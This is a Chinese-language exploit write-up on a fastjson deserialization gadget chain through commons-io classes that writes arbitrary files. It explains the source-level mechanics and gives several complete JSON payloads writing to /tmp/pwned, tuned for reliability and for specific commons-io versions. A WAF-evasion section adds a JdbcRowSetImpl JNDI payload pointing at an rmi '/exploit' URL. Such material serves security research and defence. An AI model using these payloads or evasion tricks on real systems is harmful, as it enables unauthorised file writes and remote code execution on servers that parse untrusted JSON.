利用链中涉及到的 org.apache.commons.io.input.XmlStreamReaderorg.apache.commons.io.input.TeeInputStreamorg.apache.commons.io.input.ReaderInputStreamorg.apache.commons.io.input.CharSequenceReaderorg.apache.commons.io.output.WriterOutputStreamorg.apache.commons.io.output.FileWriterWithEncoding 全部继承于 java.lang.AutoCloseable

XmlStreamReader


org.apache.commons.io.input.XmlStreamReader 的构造函数中接受 InputStream 对象为参数:

1
2
3
4
5
6
7
8
public XmlStreamReader(final InputStream is, final String httpContentType,
final boolean lenient, final String defaultEncoding) throws IOException {
this.defaultEncoding = defaultEncoding;
final BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, BUFFER_SIZE), false, BOMS);
final BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
this.encoding = doHttpStream(bom, pis, httpContentType, lenient);
this.reader = new InputStreamReader(pis, encoding);
}

XmlStreamReader 构造函数将输入的 InputStream 做了多层封装,形成了下面这种结构:

1
2
3
4
BOMInputStream pis
└── BOMInputStream bom
└── BufferedInputStream
└── InputStream

并且 XmlStreamReader 构造函数中的 doHttpStream 函数会触发 InputStream.read(),调用,调用栈如下:

1
2
3
4
5
6
7
at java.io.InputStream.read(InputStream.java:129)
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
at org.apache.commons.io.input.BOMInputStream.getBOM(BOMInputStream.java:224)
at org.apache.commons.io.input.BOMInputStream.getBOMCharsetName(BOMInputStream.java:254)
at org.apache.commons.io.input.XmlStreamReader.doHttpStream(XmlStreamReader.java:452)
at org.apache.commons.io.input.XmlStreamReader.<init>(XmlStreamReader.java:339)

其中 java.io.BufferedInputStream#fill 方法调用的 in 也就是 XmlStreamReader 构造函数传入的参数 InputStream isread 方法。

1
2
3
4
5
6
7
8
9
10
11
12
private void fill() throws IOException {
// [...]
int n = getInIfOpen().read(buffer, pos, buffer.length - pos);
// [...]
}

private InputStream getInIfOpen() throws IOException {
InputStream input = in;
if (input == null)
throw new IOException("Stream closed");
return input;
}

因此 XmlStreamReader 的构造函数作为整个链的入口,链到 InputStream.read(byte[], int, int) 方法。


org.apache.commons.io.input.TeeInputStream 的构造函数接受 InputStreamOutputStream 对象为参数:

1
2
3
4
5
6
public TeeInputStream(
final InputStream input, final OutputStream branch, final boolean closeBranch) {
super(input);
this.branch = branch;
this.closeBranch = closeBranch;
}

而它的 read 方法,会把 InputStream 流里读出来的东西,再写到 OutputStream 流里,正如其名,像是管道重定向:

1
2
3
4
5
6
7
public int read(final byte[] bts, final int st, final int end) throws IOException {
final int n = super.read(bts, st, end);
if (n != -1) {
branch.write(bts, st, n);
}
return n;
}

通过 TeeInputStreamInputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。


org.apache.commons.io.input.ReaderInputStream 的构造函数接受 Reader 对象作为参数:

1
2
3
4
5
6
7
8
public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
this.reader = reader;
this.encoder = encoder;
this.encoderIn = CharBuffer.allocate(bufferSize);
this.encoderIn.flip();
this.encoderOut = ByteBuffer.allocate(128);
this.encoderOut.flip();
}

它在执行 read 方法时,会执行 fillBuffer 方法,从而执行 Reader.read(char[], int, int) 方法,从 Reader 中来获取输入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
public int read(final byte[] b, int off, int len) throws IOException {
if (b == null) {
throw new NullPointerException("Byte array must not be null");
}
if (len < 0 || off < 0 || (off + len) > b.length) {
throw new IndexOutOfBoundsException("Array Size=" + b.length +
", offset=" + off + ", length=" + len);
}
int read = 0;
if (len == 0) {
return 0; // Always return 0 if len == 0
}
while (len > 0) {
if (encoderOut.hasRemaining()) {
final int c = Math.min(encoderOut.remaining(), len);
encoderOut.get(b, off, c);
off += c;
len -= c;
read += c;
} else {
fillBuffer(); // 👈
if (endOfInput && !encoderOut.hasRemaining()) {
break;
}
}
}
return read == 0 && endOfInput ? EOF : read;
}

private void fillBuffer() throws IOException {
if (!endOfInput && (lastCoderResult == null || lastCoderResult.isUnderflow())) {
encoderIn.compact();
final int position = encoderIn.position();
final int c = reader.read(encoderIn.array(), position, encoderIn.remaining()); // 👈
if (c == EOF) {
endOfInput = true;
} else {
encoderIn.position(position+c);
}
encoderIn.flip();
}
encoderOut.compact();
lastCoderResult = encoder.encode(encoderIn, encoderOut, endOfInput);
encoderOut.flip();
}

org.apache.commons.io.input.CharSequenceReader 的构造函数接受 CharSequence 对象作为参数:

1
2
3
public CharSequenceReader(final CharSequence charSequence) {
this.charSequence = charSequence != null ? charSequence : "";
}

它在执行 read 方法时,会读取 CharSequence 的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public int read(final char[] array, final int offset, final int length) {
if (idx >= charSequence.length()) {
return EOF;
}
if (array == null) {
throw new NullPointerException("Character array is missing");
}
if (length < 0 || offset < 0 || offset + length > array.length) {
throw new IndexOutOfBoundsException("Array Size=" + array.length +
", offset=" + offset + ", length=" + length);
}
int count = 0;
for (int i = 0; i < length; i++) {
final int c = read();
if (c == EOF) {
return count;
}
array[offset + i] = (char)c;
count++;
}
return count;
}

因此组合一下 ReaderInputStreamCharSequenceReader,就能构建出从自定义字符串里读输入的 InputStream

1
2
3
4
5
6
7
8
9
10
11
12
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String" "<<<你的字符串>>>"
},
"charsetName": "UTF-8",
"bufferSize": 1024
}
}

提示

org.apache.commons.io.input.CharSequenceReader 的构造函数参数的类型为 CharSequence 接口,但是对应在构造的 Json payload 中却写成如下形式:

1
2
3
"charSequence": {
"@type": "java.lang.String" "<<<你的字符串>>>"
}

这是因为对 构造器参数是接口类型 的解析,fastjson 会这样做:

  1. 见到 charSequence: { ... }进入一个对象

  2. 这个对象里第一个键是 @type → 触发 autoType 重定向

    • checkAutoType("java.lang.String", expectClass=CharSequence) → 通过(String 实现了 CharSequence)。

      1
      2
      3
      public final class String
      implements java.io.Serializable, Comparable<String>, CharSequence {
      // [...]
    • 于是 改用 StringCodec 来“继续读取这个对象后面的内容”。

      1
      2
      3
      4
      5
      private void initDeserializers() {
      // [...]
      deserializers.put(String.class, StringCodec.instance);
      // [...]
      }
  3. 此时已经进入了 StringCodec 的反序列化流程,而 StringCodec 的代码只想看到“一个字符串字面量 token” 作为值,即 "@type": "java.lang.String" "<<<你的字符串>>>" 格式。

com.alibaba.fastjson.serializer.StringCodec#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) 函数中,对于 CharSequence 这种形式的 clazz 会进入到 deserialze(DefaultJSONParser parser) 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
* 反序列化入口(带 Type)。当目标类型是 StringBuilder / StringBuffer 时,
* 走各自的快捷分支;其他(包括 String.class / CharSequence 经过 @type 重定向为 String)则退回到无 Type 版本。
*
* @param parser fastjson 的解析器(持有词法分析器 lexer)
* @param clazz 目标类型(可能是 StringBuilder/StringBuffer/String 等)
* @param fieldName 当前字段名(调试/错误信息用)
*/
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
// 特判 1:目标类型是 StringBuffer
if (clazz == StringBuffer.class) {
// [...]
}

// 特判 2:目标类型是 StringBuilder
if (clazz == StringBuilder.class) {
// [...]
}

// 其他类型(包括 String.class)统一走无 Type 版本
return (T) deserialze(parser);
}

deserialze(DefaultJSONParser parser) 期望 Json 数据后面紧接着的是一个字符串字面量,然后获取字符串并返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 反序列化入口(不带 Type)。用于 String.class 及“退化为字符串”的场景。
*
* 语义:
* - 若当前 token 是字符串字面量,直接取出返回;
* - 若是整数字面量,返回其 numberString(文本形式);
* - 否则把当前结构 parse 成 Object,再 toString()。
*/
public static <T> T deserialze(DefaultJSONParser parser) {
final JSONLexer lexer = parser.getLexer();

// 情况 1:直接是字符串字面量(最理想)
if (lexer.token() == JSONToken.LITERAL_STRING) {
String val = lexer.stringVal(); // 取出 "..." 的内容
lexer.nextToken(JSONToken.COMMA); // 令词法器移到下一个 token(常见是逗号、右花括号等分隔)
return (T) val; // 直接返回 Java String
}

// 情况 2:整数字面量 —— 也按“字符串形式”返回
if (lexer.token() == JSONToken.LITERAL_INT) {
String val = lexer.numberString(); // 把数字的文本形式取出来
lexer.nextToken(JSONToken.COMMA);
return (T) val;
}

// 情况 3:既不是字符串也不是整数字面量 —— 解析为 Object,再 toString()
Object value = parser.parse();
if (value == null) {
return null;
}
return (T) value.toString();
}

那么现在有触发 InputStream read 方法的链入口,也有能传入可控内容的 InputStream,只差一个自定义输出位置的 OutputStream 了。


org.apache.commons.io.output.WriterOutputStream 的构造函数接受 Writer 对象作为参数:

1
2
3
4
5
6
7
8
public WriterOutputStream(final Writer writer, final CharsetDecoder decoder, final int bufferSize,
final boolean writeImmediately) {
checkIbmJdkWithBrokenUTF16( decoder.charset());
this.writer = writer;
this.decoder = decoder;
this.writeImmediately = writeImmediately;
decoderOut = CharBuffer.allocate(bufferSize);
}

它在执行 write 方法时,会执行 flushOutput 方法,从而执行 Writer.write(char[], int, int),通过 writer 来输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public void write(final byte[] b, int off, int len) throws IOException {
while (len > 0) {
final int c = Math.min(len, decoderIn.remaining());
decoderIn.put(b, off, c);
processInput(false);
len -= c;
off += c;
}
if (writeImmediately) {
flushOutput(); // 👈
}
}

private void flushOutput() throws IOException {
if (decoderOut.position() > 0) {
writer.write(decoderOut.array(), 0, decoderOut.position()); // 👈
decoderOut.rewind();
}
}

org.apache.commons.io.output.FileWriterWithEncoding 的构造函数接受 File 对象作为参数,并最终以 File 对象构建 FileOutputStream 文件输出流。随后我们创建的 FileOutputStream 文件输出流会被传入 OutputStreamWriter 构造函数参与实例化,并且实例化结果被设置在 out 属性上。

OutputStreamWriter字符到字节的桥接器(Writer → OutputStream)。你向它写字符,它按指定字符集(如 UTF‑8)把字符编码成字节,再写入到底层的 OutputStream(如文件/网络套接字)。

  • 编码方式可以通过字符集名称构造(new OutputStreamWriter(out, "UTF-8"),可能抛 UnsupportedEncodingException)。

  • 每次调用 write(...),内部都会驱动 StreamEncoder:先把字符编码到字节缓冲,再把缓冲写到底层输出流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public FileWriterWithEncoding(final File file, final String encoding, final boolean append) throws IOException {
super();
this.out = initWriter(file, encoding, append);
}

private static Writer initWriter(final File file, final Object encoding, final boolean append) throws IOException {
if (file == null) {
throw new NullPointerException("File is missing");
}
if (encoding == null) {
throw new NullPointerException("Encoding is missing");
}
OutputStream stream = null;
final boolean fileExistedAlready = file.exists();
try {
// 📌 在这里创建 FileOutputStream 对象
stream = new FileOutputStream(file, append);
if (encoding instanceof Charset) {
return new OutputStreamWriter(stream, (Charset)encoding);
} else if (encoding instanceof CharsetEncoder) {
return new OutputStreamWriter(stream, (CharsetEncoder)encoding);
} else {
// 📌 encoding = "UTF-8",因此会执行到这里
return new OutputStreamWriter(stream, (String)encoding);
}
} catch (final IOException | RuntimeException ex) {
try {
if (stream != null) {
stream.close();
}
} catch (final IOException e) {
ex.addSuppressed(e);
}
if (fileExistedAlready == false) {
FileUtils.deleteQuietly(file);
}
throw ex;
}
}

write 函数直接向 OutputStreamWriter 写入数据,也就会向 FileOutputStream 写入数据:

1
2
3
public void write(final char[] chr, final int st, final int end) throws IOException {
out.write(chr, st, end);
}

因此组合一下 WriterOutputStreamFileWriterWithEncoding,就能构建得到输出到指定文件的 OutputStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
{
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String" "<<<你的字符串>>>"
},
"charsetName": "UTF-8",
"bufferSize": 1024
}
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}

提示

在实际测试时发现,payload 的格式会影响 FastJson 的解析流程,导致某些类实例化失败:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: create instance error, null, public org.apache.commons.io.output.WriterOutputStream(java.io.Writer,java.nio.charset.Charset,int,boolean)

或者 checkAutoTypeexpectClassnull 导致检查不通过:

1
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.commons.io.output.WriterOutputStream

实测下面这个格式的 payload 成功率会高一些,原因不明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""<<<你的字符串>>>"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch":true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}

尝试用 FastJson 进行解析执行,发现文件创建了,也确实执行到了 FileWriterWithEncoding.write(char[], int, int) 方法,但是文件内容是空的?

这里涉及到的一个问题就是:对于 OutputStreamWriter 对象,当要写入的字符串长度不够时,输出的内容会被保留在 ByteBuffer 中,不会被实际输出到文件里。

具体来说有如下调用栈:

1
2
3
4
5
6
7
8
9
10
11
12
13
at sun.nio.cs.StreamEncoder.implWrite(StreamEncoder.java:265)
at sun.nio.cs.StreamEncoder.write(StreamEncoder.java:125)
at java.io.OutputStreamWriter.write(OutputStreamWriter.java:207)
at org.apache.commons.io.output.FileWriterWithEncoding.write(FileWriterWithEncoding.java:288)
at org.apache.commons.io.output.WriterOutputStream.flushOutput(WriterOutputStream.java:308)
at org.apache.commons.io.output.WriterOutputStream.write(WriterOutputStream.java:224)
at org.apache.commons.io.input.TeeInputStream.read(TeeInputStream.java:131)
at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
at org.apache.commons.io.input.BOMInputStream.getBOM(BOMInputStream.java:224)
at org.apache.commons.io.input.BOMInputStream.getBOMCharsetName(BOMInputStream.java:254)
at org.apache.commons.io.input.XmlStreamReader.doHttpStream(XmlStreamReader.java:452)
at org.apache.commons.io.input.XmlStreamReader.<init>(XmlStreamReader.java:339)

其中 sun.nio.cs.StreamEncoder#implWrite 函数会调用 java.nio.charset.CoderResult#isOverflow 判断当前字节缓冲区 bb 空间是否已满,如果缓冲区已满则会触发写入操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
/**
* 将给定的字符数组片段编码到内部字节缓冲区(bb)中,
* 必要时把缓冲区写出到底层 OutputStream(通过 writeBytes())。
*
* 关键点:
* - 使用 CharsetEncoder(encoder)把字符转成字节;
* - 处理 UTF-16 代理对跨调用分割的情况(haveLeftoverChar/leftoverChar);
* - endOfInput=false:表示后面还可能有更多字符会到来(不是最终输入)。
*/
void implWrite(char cbuf[], int off, int len) throws IOException {
// 把 cbuf[off .. off+len) 包装为只读的 CharBuffer,避免拷贝
CharBuffer cb = CharBuffer.wrap(cbuf, off, len);

// 如果上一次写入时结尾留有一个“残余字符”(通常是高位代理,高代码点的一半),
// 尝试与本次缓冲区开头的字符合并编码。第二个参数 false 表示“不是最后一次输入”。
if (haveLeftoverChar)
flushLeftoverChar(cb, false);

// 主循环:只要还有待编码的字符就持续编码
while (cb.hasRemaining()) {
// 调用编码器:把字符从 cb 编到字节缓冲 bb 中;endOfInput=false
CoderResult cr = encoder.encode(cb, bb, false);

if (cr.isUnderflow()) {
// Underflow:编码器认为“当前可用的输入不足以继续编码”
// 这里断言此时剩余字符数量 <= 1(大多是 0 或 1 个高位代理)
assert (cb.remaining() <= 1) : cb.remaining();

if (cb.remaining() == 1) {
// 若刚好还剩 1 个字符,把它暂存为“残余字符”,
// 等下一次 write 传入更多字符时再尝试与其配对(处理代理对跨边界)
haveLeftoverChar = true;
leftoverChar = cb.get();
}
// 本次写入结束(要么已全部编码,要么留 1 个等待下次)
break;
}

if (cr.isOverflow()) {
// ✅ Overflow:字节缓冲区 bb 空间已满,必须先把已编码的字节写到底层流
assert bb.position() > 0;
writeBytes(); // 把 bb 中的字节写出并清空/复位
continue; // 继续尝试编码剩余字符
}

// 走到这里说明编码发生了错误(既不是 underflow 也不是 overflow),
// 例如:MalformedInputException(畸形输入,如单独的低位代理)
// 或 UnmappableCharacterException(目标编码不可表示的字符)。
cr.throwException();
}
}

问题搞清楚了,我们需要写入足够长的字符串才会让它刷新 buffer,写入字节到输出流对应的文件里。那么很自然地想到,在 charSequence 处构造超长字符串是不是就可以了?

可惜并非如此,原因是 InputStream buffer 的长度大小在这里已经是固定的 4096 了:

1
2
3
4
5
6
7
8
private static final int BUFFER_SIZE = 4096;

public XmlStreamReader(final InputStream is, final String httpContentType,
final boolean lenient, final String defaultEncoding) throws IOException {
// [...]
final BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, BUFFER_SIZE), false, BOMS);
// [...]
}

也就是说每次读取或者写入的字节数最多也就是 4096,但 Writer buffer 大小默认是 8192:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private static final int DEFAULT_BYTE_BUFFER_SIZE = 8192;

private StreamEncoder(OutputStream out, Object lock, CharsetEncoder enc) {
super(lock);
this.out = out;
this.ch = null;
this.cs = enc.charset();
this.encoder = enc;

// [...]

if (ch == null) {
bb = ByteBuffer.allocate(DEFAULT_BYTE_BUFFER_SIZE);
}
}

因此仅仅一次写入在没有手动执行 flush 的情况下是无法触发实际的字节写入的。

解决方法是通过 $ref 循环引用,多次往同一个 OutputStream 流里输出即可。一次不够 overflow 就多写几次,直到 overflow 为止,就能触发实际的文件写入操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
{
"x": {
"@type": "com.alibaba.fastjson.JSONObject",
"input": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.CharSequenceReader",
"charSequence": {
"@type": "java.lang.String" "aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName": "UTF-8",
"bufferSize": 1024
}
},
"branch": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.FileWriterWithEncoding",
"file": "/tmp/pwned",
"encoding": "UTF-8",
"append": false
},
"charsetName": "UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger1": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger2": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
},
"trigger3": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.XmlStreamReader",
"is": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"$ref": "$.input"
},
"branch": {
"$ref": "$.branch"
},
"closeBranch": true
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "UTF-8"
}
}
}

提示

实际写成下面这种形式成功率高一些:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
}},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}

最后括号不闭合可以避免下面这个报错:

1
2
3
4
5
6
Exception in thread "main" com.alibaba.fastjson.JSONException: not close json text, token : }
at com.alibaba.fastjson.parser.DefaultJSONParser.close(DefaultJSONParser.java:1527)
at com.alibaba.fastjson.JSON.parse(JSON.java:187)
at com.alibaba.fastjson.JSON.parse(JSON.java:193)
at com.alibaba.fastjson.JSON.parse(JSON.java:149)
at Main.main(Main.java:162)

commons-io 2.7 - 2.8.0 版本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

Fastjson 绕 waf

添加空白字符

com.alibaba.fastjson.parser.JSONLexerBase#skipWhitespace 不难看出默认会去除键、值外的空格、\b\n\r\f 等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
/**
* 跳过空白字符和注释。
* 该方法会不断检查并跳过空白字符(如空格、回车、换行、制表符、换页符、退格符)和单行注释(以“/”开头)。
* 如果遇到注释,则跳过整个注释,继续处理下一个字符。
* 当遇到非空白字符和非注释字符时,停止跳过,方法执行完毕。
*/
public final void skipWhitespace() {
for (;;) {
// 如果当前字符小于或等于 '/',则继续判断是否为空白字符或注释
if (ch <= '/') {
// 如果当前字符是空白字符(空格、回车、换行、制表符、换页符、退格符),则跳到下一个字符
if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
next(); // 调用 next() 方法获取下一个字符
continue; // 继续跳过空白字符
}
// 如果当前字符是 '/', 则是注释,跳过注释
else if (ch == '/') {
skipComment(); // 调用 skipComment() 方法跳过注释
continue; // 继续跳过注释
}
// 如果不是空白字符和注释,退出循环
else {
break;
}
}
// 如果当前字符大于 '/',说明遇到非空白字符或注释,退出循环
else {
break;
}
}
}

添加多个逗号

FastJson 中有个默认的 Feature 是开启的 AllowArbitraryCommas,这允许我们用多个逗号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 这个循环用于跳过空白字符和处理逗号(如果允许)。
* 循环的目的是处理文本中的空白字符和逗号,确保在遇到逗号时能跳过它们,继续解析下一个有效的字符。
*/
for (;;) {
// 跳过当前的空白字符
lexer.skipWhitespace();

// 获取当前字符
char ch = lexer.getCurrent();

// 如果启用了允许任意逗号的特性(即可以在元素之间有多余的逗号),则执行如下处理
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
// 当当前字符是逗号时,跳过它并继续处理下一个字符
while (ch == ',') {
lexer.next(); // 跳过当前的逗号
lexer.skipWhitespace(); // 跳过逗号后的空白字符
ch = lexer.getCurrent(); // 获取下一个字符
}
}
}

这里可以添加的位置很多:

1
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/exploit",,,,,, "autoCommit":true}

字段名双引号替代

在 fastjson 中,默认启用了两个与字段名解析相关的特性:

  • AllowSingleQuotes:允许使用单引号 'key': 'value' 形式;

  • AllowUnQuotedFieldNames:允许字段名省略引号,例如 dataSourceName: "xxx" 是合法的。

这两个特性虽然违反了标准 JSON 语法(RFC 8259 中字段名必须用双引号包裹),但 fastjson 为了兼容 JavaScript 风格或简化书写,默认将其开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/**
* 扫描并返回“符号”(这里主要指对象字段名)。
* 行为概览:
* 1) 跳过前导空白;若下一个字符是引号(" 或 '),按“带引号”字段名读取;
* 2) 若遇到对象/逗号/EOF 的控制符,设置相应 token 并返回 null(表示此处没有字段名);
* 3) 否则按“未加引号字段名”处理:要求 Feature.AllowUnQuotedFieldNames 已启用;
* 否则抛语法错误。
*
* 注意:
* - AllowUnQuotedFieldNames 仅影响“字段名(冒号左侧)是否可省略引号”,
* 不影响“字符串值(冒号右侧)”——字符串值仍需按 JSON 规则写引号。
*/
public final String scanSymbol(final SymbolTable symbolTable) {
// 跳过空白(空格、换行、制表、注释等,具体取决于 skipWhitespace 的实现)
skipWhitespace();

// 情形一:双引号包裹的字段名 → 正统 JSON 语法
if (ch == '"') {
return scanSymbol(symbolTable, '"');
}

